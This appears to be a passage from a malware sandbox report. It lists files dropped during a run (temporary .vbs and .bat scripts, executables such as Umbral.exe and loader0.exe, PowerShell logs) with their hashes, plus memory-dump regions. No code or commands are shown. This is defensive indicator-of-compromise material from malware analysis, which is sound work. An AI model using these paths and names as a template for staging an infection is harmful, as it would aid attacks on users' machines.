Filesize
219B

MD5
ad58de97ade18e52cfb2e41c4e5e44dd

SHA1
fe841efc401030312934c1f99d4d791fc436ee2a

SHA256
949429a184c0e107f49eafe6e4997d358d53864911a2f0837f4bf2ef443dac53

SHA512
f2bbe1a7018eff02062734f504193f148f7e8382e1dd722d013fd3bc94f6d823bfc3acfc267a92bcf894231717a8f5daa7da4403cc0c8d58bc9c2abc5bee7792

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\AgentDriversession.exe.log

Filesize
1KB

MD5
dfff10a79cf82a5c5f03bc32573b4679

SHA1
11db89ad977e1dd8411706026f21bd0ad3cd7da6

SHA256
de374b9a3e5c008c53687a588a15925f70d390376a26a2b8d90803b8a7f9923e

SHA512
8bb309dda339bf2c7393c6967bc1569af1c8a8db1f853fb15830a169b71944b6e89265ddbea00fffc14ed456b0af9327d099d6afed9d9a5d1ed67e19ad50d944

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
985b3105d8889886d6fd953575c54e08

SHA1
0f9a041240a344d82bac0a180520e7982c15f3cd

SHA256
5178fdd457eb3eb25c8f72ed4c22c582a83de0d324db66d0446d660f226e944d

SHA512
0fd59bc4886b70aa3b7eeeaa23229b7fdc93410ca7f8452860e4a1bbda2559eaa5e4b05c3ec2d85f7d648daf3c16741f4c2c18f2dd3bae4cc4a4e57ae4f665b0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
88be3bc8a7f90e3953298c0fdbec4d72

SHA1
f4969784ad421cc80ef45608727aacd0f6bf2e4b

SHA256
533c8470b41084e40c5660569ebbdb7496520d449629a235e8053e84025f348a

SHA512
4fce64e2dacddbc03314048fef1ce356ee2647c14733da121c23c65507eeb8d721d6b690ad5463319b364dc4fa95904ad6ab096907f32918e3406ef438a6ef7c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
288f76eb6350b99897bf8a40a26d7b88

SHA1
7f386d05202de2cf090bbda84d633a640730e090

SHA256
1b9a2714ecfaf4b2e7d7961d5f2537ea360ad0df46a0fa789255235b077075d1

SHA512
ffafc9d47140408afba98a9832433c0829ba696524c56d03f4ce67ae84d369c658d3a0b3cbfc62f8e5d83fc91f8f73fc1dd9a27f0deaefd1d07485a63face869

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
a67eee085e8f68aaffbfdb51503d6561

SHA1
29db9b41945c6a5d27d5836a1c780668eded65a0

SHA256
6e155bcc98f4e175a8701f030b73b14d9002b175ef58a19cb9010af3964e36b4

SHA512
7923bc74260e77d62b20cf510b79e0422563469ec3543084a989db154b1e39370f1a6e6c6e73caa7471d0974a693b1beb4fd2ddfb14b0b5c58650b5df3c32d81

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
96ff1ee586a153b4e7ce8661cabc0442

SHA1
140d4ff1840cb40601489f3826954386af612136

SHA256
0673399a2f37c89d455e8658c4d30b9248bff1ea47ba40957588e2bc862976e8

SHA512
3404370d0edb4ead4874ce68525dc9bcbc6008003682646e331bf43a06a24a467ace7eff5be701a822d74c7e065d0f6a0ba0e3d6bc505d34d0189373dcacb569

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
67e8893616f805af2411e2f4a1411b2a

SHA1
39bf1e1a0ddf46ce7c136972120f512d92827dcd

SHA256
ca0dfe104c1bf27f7e01999fcdabc16c6400c3da937c832c26bdbca322381d31

SHA512
164e911a9935e75c8be1a6ec3d31199a16ba2a1064da6c09d771b2a38dd7fddd142301ef55d67d90f306d3a454a1ce7b72e129ea42e44500b9b8c623a8d98b4d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
46bf20e17dec660ef09b16e41372a7c3

SHA1
cf8daa89a45784a385b75cf5e90d3f59706ac5d5

SHA256
719589acc67594a2add00dca3c097551163199edbdd59a7f62f783871ef96e17

SHA512
91225c1aac17fa26ec00913d5e96950ed11d44a1fd28f34a1810fe143176864cf2b9624dc053183d8f28db5a3903c5e092aab180fb21ce2a3775223ee111df54

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
65a68df1062af34622552c4f644a5708

SHA1
6f6ecf7b4b635abb0b132d95dac2759dc14b50af

SHA256
718dc2f5f4a6dbb7fab7f3db05bd7f602fb16526caae7084ab46c3ab4e7bad35

SHA512
4e460eb566032942547b58411222dd26ae300a95f83cf5ae6df58ebd28594341123611b348bd4031a33bc7f38307d5cb8fb677bba8c896919e3eee677a104d4d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
badf20df5c58ac87d46ca34e9b5b9246

SHA1
3010c5bc16b9b3753eb98a52379a2c418d63a331

SHA256
4b4b0885a626b3c8ceebe5ee6e20d98bea46500bb8bb5f90c484f3cf69411fa8

SHA512
e227ab270d380ad7f78c08d60dd3cd9c8f713972939d3085fa03c762202759079453240a1dd22a206dcabb0c2b3bce1244e143251081b6dd25810bad75a57c89

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Temp\0735ae1d-95bc-4153-a4bc-d6c94d3199c2.vbs

Filesize
727B

MD5
0485d931c52399a96ffbde9cb3494778

SHA1
ea39e971fa989807a5ef58ed56ea0bd91551c909

SHA256
5c1b7c24cc4eeff9b8dbf5a42fecf89130c9dccb95fc159a36d589f0b5214dc6

SHA512
4fa33072617457d8d8ae52a076aa936bf6e552341b7907a1ccb65e6b159d9048d130a382657b68523db0f9a9a5e994fb7265b51e41c3954a192962a1b2196f1d

Download Submit
C:\Users\Admin\AppData\Local\Temp\EDylAyiNzz.bat

Filesize
216B

MD5
08daeffe04df1ef91e6f300581827304

SHA1
78920e17ce64b790e74ef1f4a85ae1659e261a97

SHA256
d4b6660ce2571f481827a6cae70b2ffbc0e4950c6a251b560edae809a1f0ce7d

SHA512
5e253fd31b7d86805ee011208b7aa8bc273967e053c3f9e8463b92e40fb5154453ee8afb6eb8d5f6269331f45fc568fad2505bb328bcdb823be14e4d69a072a9

Download Submit
C:\Users\Admin\AppData\Local\Temp\G21JVT0SH699M9Y.exe

Filesize
2.2MB

MD5
51e9fd97423e9b74aea906f0ce0dcd71

SHA1
4dcce453a3f6a6624827b2075afff043e3921491

SHA256
059b3f10324e5234e9d76365d78dad2e6f9d807c75100f103c5cdc6eefbaf464

SHA512
8ff65be5a76f342255e93fc89a304e91f9d6d8af9de679d77977186224313db381f1e778a4c2302978ac51df69f6e9e0d19f135717b55690dd9bb93451af5aab

Download Submit
C:\Users\Admin\AppData\Local\Temp\PyNeP2VaXk

Filesize
20KB

MD5
a603e09d617fea7517059b4924b1df93

SHA1
31d66e1496e0229c6a312f8be05da3f813b3fa9e

SHA256
ccd15f9c7a997ae2b5320ea856c7efc54b5055254d41a443d21a60c39c565cb7

SHA512
eadb844a84f8a660c578a2f8e65ebcb9e0b9ab67422be957f35492ff870825a4b363f96fd1c546eaacfd518f6812fcf57268ef03c149e5b1a7af145c7100e2cc

Download Submit
C:\Users\Admin\AppData\Local\Temp\Umbral.exe

Filesize
229KB

MD5
62099472f40d33f1caf73e36e866b9e7

SHA1
9d1e27b780ba14d0e41d366d79b0f42d4a782e7e

SHA256
f343ca46350a3c48f888be39bf1247fcab2bcd731889fc16828aac5f681edebc

SHA512
3356bd93afdff76dfc995b8bba3fc96d772e371c3ae6f289cbdb58cffef4906a5f8c2755152765c8cc96b5fc61e97186e42eceaa5e8619d15e172441c95f9764

Download Submit
C:\Users\Admin\AppData\Local\Temp\WmZWbh4b.exe

Filesize
40KB

MD5
47f267290124f530b9c04563b533db83

SHA1
fccb81909c612554fce4303daeffc750a71ee44e

SHA256
479db498a032418957c1616b13187402d7f626afa32dd4fcf56313d78ec23eeb

SHA512
a81b1ca99fec7a536eabc62f57668e46b832e534ccba43f3ab25a9d33d394745d24bad5f72225244f20be5ddcb44529d72efa31b92bc9e03f34e3b9ddb4f9e3a

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nmm2hkab.lra.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\b2c12b14-a0c1-4988-9a65-c9dd7c51ffa4.vbs

Filesize
503B

MD5
6bc6e8ae4fc5d708239e4740214798dd

SHA1
555c582c47b5fc808fe5f54f573ccffae82ad566

SHA256
180757750ec4aa21162513010e25e8ed63ca86b2a67378939b9397d2e688f061

SHA512
fc2510d071990e83a366e0159be5a07a37f5e23b32a855f505201ed95ad543be5cb5b8ecf7a6336eecb0f744d71ec747ad4a6e2e1c8f24f77e344d71322c383d

Download Submit
C:\Users\Admin\AppData\Local\Temp\installer.exe

Filesize
170KB

MD5
74e445436b010306f116973c93656630

SHA1
b1176522355a5863f5c7d7d3ca9db3889bbc485b

SHA256
dceb4a5e6cd2b0d37758cff6b217c69472d6bc6844617817fe22fbf86b7b7135

SHA512
8a331a232b877e329110bb264efe79baaa1189316ac1cabefd12f82f249cf7c8415aec6e1df300e132ba8b6bcc9265e6b1b39847e3baea1d0f1e7e698ad2e367

Download Submit
C:\Users\Admin\AppData\Local\Temp\jRu0jM78s9

Filesize
40KB

MD5
a182561a527f929489bf4b8f74f65cd7

SHA1
8cd6866594759711ea1836e86a5b7ca64ee8911f

SHA256
42aad7886965428a941508b776a666a4450eb658cb90e80fae1e7457fc71f914

SHA512
9bc3bf5a82f6f057e873adebd5b7a4c64adef966537ab9c565fe7c4bb3582e2e485ff993d5ab8a6002363231958fabd0933b48811371b8c155eaa74592b66558

Download Submit
C:\Users\Admin\AppData\Local\Temp\loader0.exe

Filesize
3.5MB

MD5
99e56518b03a7728a82471b3fd8b823b

SHA1
650510d935408f9e32d1ba8f8e97741b78126b39

SHA256
0e625888c240d2a811e3d1bb8b190e4f09897d3ec0edc38a1865ba66b9c08894

SHA512
fad3b12e9f6f2462f5dc2506390760294c7a08ea075cd8218b0bdab85a7c0021e9e46098bb3ae1fed90422e0a3199f2b8cb2d3720110bc0e6c76baff28f10c0b

Download Submit
C:\Users\Admin\AppData\Local\Temp\omSz50MDMj.bat

Filesize
200B

MD5
64fe25a54b3c6002954be9a13aa3853e

SHA1
06506d3ee13676b92fdd22239a0a93a17a45ea5f

SHA256
c7eac186b0568daf4b1640d0bdfab0089f8ef600efc8020177cec2eb561fd01f

SHA512
3c99e2fedf959ca7a595a958bcb16fa5e5659ec4c9dfd5da77d0be70121f93b8edbc6afc20f181213243aeb29eb2b3d0cac38f53282a600875d43dcf389716a6

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp20E1.tmp.bat

Filesize
143B

MD5
8009c32017a0458873645381e3696435

SHA1
2065fc9d01f90af87912085623e946c625080e99

SHA256
0dc94cdf749b76f0a1ca34e071cccb0520f5026b007f87ea83f7874c2bcb3233

SHA512
5984ad7f6bd310190b4d15a0de8768c6d1770df766630aa763be432fc4d789d33cfffd3a79db05ca1e289d3326625ae2b3a5fdd29896810592865b3ef2c2748c

Download Submit
C:\reviewCrt\AgentDriversession.exe

Filesize
3.2MB

MD5
1c6fe590f2a53a3dcc48172edff81049

SHA1
f0e1835307118ad5b0ec36a9c30c3d0339d4eeeb

SHA256
a3d949b62016bc688520dfe0bf68075ca6666089eea641a62be626aecd1872ef

SHA512
c68b27f7d030960c083d348a7aa77d6da3de6e1b19418fc226480c21cb47d6d51777d32a84620792a85c327fb6e3fb52b57d95181a7fa2d37d4923b322eadeea

Download Submit
C:\reviewCrt\file.vbs

Filesize
34B

MD5
677cc4360477c72cb0ce00406a949c61

SHA1
b679e8c3427f6c5fc47c8ac46cd0e56c9424de05

SHA256
f1cccb5ae4aa51d293bd3c7d2a1a04cb7847d22c5db8e05ac64e9a6d7455aa0b

SHA512
7cfe2cc92f9e659f0a15a295624d611b3363bd01eb5bcf9bc7681ea9b70b0564d192d570d294657c8dc2c93497fa3b4526c975a9bf35d69617c31d9936573c6a

Download Submit
C:\reviewCrt\jVfhzQMFI0iTNziih7b.vbe

Filesize
191B

MD5
7ab428bad6b9dbcfd0d119f035fb235e

SHA1
ee4ffa602c6222d514517b47daea99bb4ca12afe

SHA256
303ec5e60f500e1a18daa8ca69bfd4b4c848374a84b2dcd471c8aa000ea20c2a

SHA512
97a0cdfb78df43ce48572ba1472dc00f57054327ef1bb78f7bab3f0fd78f915e250acb5771355cd868c962d05eef40aa457ef7076714fe80b13f60abae8ba0d9

Download Submit
C:\reviewCrt\tYuCM.bat

Filesize
37B

MD5
50452ad298b58f58239daebd18bfe876

SHA1
a6167fbbb3d6a5d935cf84790dea2df7139b866d

SHA256
0cba555806f951ef8396fa2aad71c211d13bd091289dc8c0833f6a652e5fc771

SHA512
11f38dc3c4caadb2f3875f8477433d4f33d424c7ad31808bd7e374233258c70b185ee41a0ec336eeca7d8ef6e6a677797393f34dc00ecb245bc070017ed60cc5

Download Submit
memory/1508-177-0x000001A235A10000-0x000001A235A1A000-memory.dmp

Filesize
40KB

Download
memory/1508-178-0x000001A235A40000-0x000001A235A52000-memory.dmp

Filesize
72KB

Download
memory/1508-43-0x000001A21B160000-0x000001A21B1A0000-memory.dmp

Filesize
256KB

Download
memory/1508-124-0x000001A235890000-0x000001A235906000-memory.dmp

Filesize
472KB

Download
memory/1508-125-0x000001A2355C0000-0x000001A2355DE000-memory.dmp

Filesize
120KB

Download
memory/2192-84-0x000000001B460000-0x000000001B472000-memory.dmp

Filesize
72KB

Download
memory/2192-97-0x000000001D1C0000-0x000000001D1CA000-memory.dmp

Filesize
40KB

Download
memory/2192-109-0x000000001D500000-0x000000001D50C000-memory.dmp

Filesize
48KB

Download
memory/2192-111-0x000000001D620000-0x000000001D62E000-memory.dmp

Filesize
56KB

Download
memory/2192-110-0x000000001D510000-0x000000001D51A000-memory.dmp

Filesize
40KB

Download
memory/2192-116-0x000000001D670000-0x000000001D678000-memory.dmp

Filesize
32KB

Download
memory/2192-115-0x000000001D660000-0x000000001D66C000-memory.dmp

Filesize
48KB

Download
memory/2192-117-0x000000001D680000-0x000000001D68A000-memory.dmp

Filesize
40KB

Download
memory/2192-114-0x000000001D650000-0x000000001D658000-memory.dmp

Filesize
32KB

Download
memory/2192-113-0x000000001D640000-0x000000001D64E000-memory.dmp

Filesize
56KB

Download
memory/2192-112-0x000000001D630000-0x000000001D638000-memory.dmp

Filesize
32KB

Download
memory/2192-118-0x000000001D690000-0x000000001D69C000-memory.dmp

Filesize
48KB

Download
memory/2192-107-0x000000001D3E0000-0x000000001D3EC000-memory.dmp

Filesize
48KB

Download
memory/2192-105-0x000000001D3C0000-0x000000001D3C8000-memory.dmp

Filesize
32KB

Download
memory/2192-106-0x000000001D3D0000-0x000000001D3DC000-memory.dmp

Filesize
48KB

Download
memory/2192-102-0x000000001D390000-0x000000001D39C000-memory.dmp

Filesize
48KB

Download
memory/2192-104-0x000000001D3B0000-0x000000001D3BC000-memory.dmp

Filesize
48KB

Download
memory/2192-103-0x000000001D3A0000-0x000000001D3A8000-memory.dmp

Filesize
32KB

Download
memory/2192-101-0x000000001D380000-0x000000001D388000-memory.dmp

Filesize
32KB

Download
memory/2192-100-0x000000001D370000-0x000000001D37C000-memory.dmp

Filesize
48KB

Download
memory/2192-99-0x000000001D320000-0x000000001D376000-memory.dmp

Filesize
344KB

Download
memory/2192-61-0x0000000000480000-0x00000000007C6000-memory.dmp

Filesize
3.3MB

Download
memory/2192-72-0x0000000002AA0000-0x0000000002AAE000-memory.dmp

Filesize
56KB

Download
memory/2192-108-0x000000001D4F0000-0x000000001D4F8000-memory.dmp

Filesize
32KB

Download
memory/2192-92-0x000000001D1A0000-0x000000001D1B0000-memory.dmp

Filesize
64KB

Download
memory/2192-75-0x000000001B3E0000-0x000000001B3EE000-memory.dmp

Filesize
56KB

Download
memory/2192-91-0x000000001CB30000-0x000000001CB38000-memory.dmp

Filesize
32KB

Download
memory/2192-90-0x000000001D1B0000-0x000000001D1BC000-memory.dmp

Filesize
48KB

Download
memory/2192-79-0x000000001B420000-0x000000001B428000-memory.dmp

Filesize
32KB

Download
memory/2192-80-0x000000001B430000-0x000000001B440000-memory.dmp

Filesize
64KB

Download
memory/2192-82-0x000000001D180000-0x000000001D196000-memory.dmp

Filesize
88KB

Download
memory/2192-83-0x000000001B440000-0x000000001B448000-memory.dmp

Filesize
32KB

Download
memory/2192-77-0x000000001B400000-0x000000001B41C000-memory.dmp

Filesize
112KB

Download
memory/2192-76-0x000000001B3F0000-0x000000001B3F8000-memory.dmp

Filesize
32KB

Download
memory/2192-78-0x000000001D1D0000-0x000000001D220000-memory.dmp

Filesize
320KB

Download
memory/2428-273-0x000000001B5D0000-0x000000001B5E8000-memory.dmp

Filesize
96KB

Download
memory/2428-275-0x000000001B590000-0x000000001B59E000-memory.dmp

Filesize
56KB

Download
memory/2428-277-0x000000001B5A0000-0x000000001B5AC000-memory.dmp

Filesize
48KB

Download
memory/2428-271-0x000000001B5B0000-0x000000001B5CC000-memory.dmp

Filesize
112KB

Download
memory/2428-269-0x000000001B540000-0x000000001B54E000-memory.dmp

Filesize
56KB

Download
memory/2428-267-0x00000000008A0000-0x0000000000A86000-memory.dmp

Filesize
1.9MB

Download
memory/2880-224-0x000000001EE60000-0x000000001F022000-memory.dmp

Filesize
1.8MB

Download
memory/2880-214-0x000000001D640000-0x000000001D652000-memory.dmp

Filesize
72KB

Download
memory/4616-195-0x000000001BA70000-0x000000001BA82000-memory.dmp

Filesize
72KB

Download
memory/4684-71-0x0000022B7ADE0000-0x0000022B7AE02000-memory.dmp

Filesize
136KB

Download
memory/4860-40-0x0000000000DE0000-0x0000000000DEE000-memory.dmp

Filesize
56KB

Download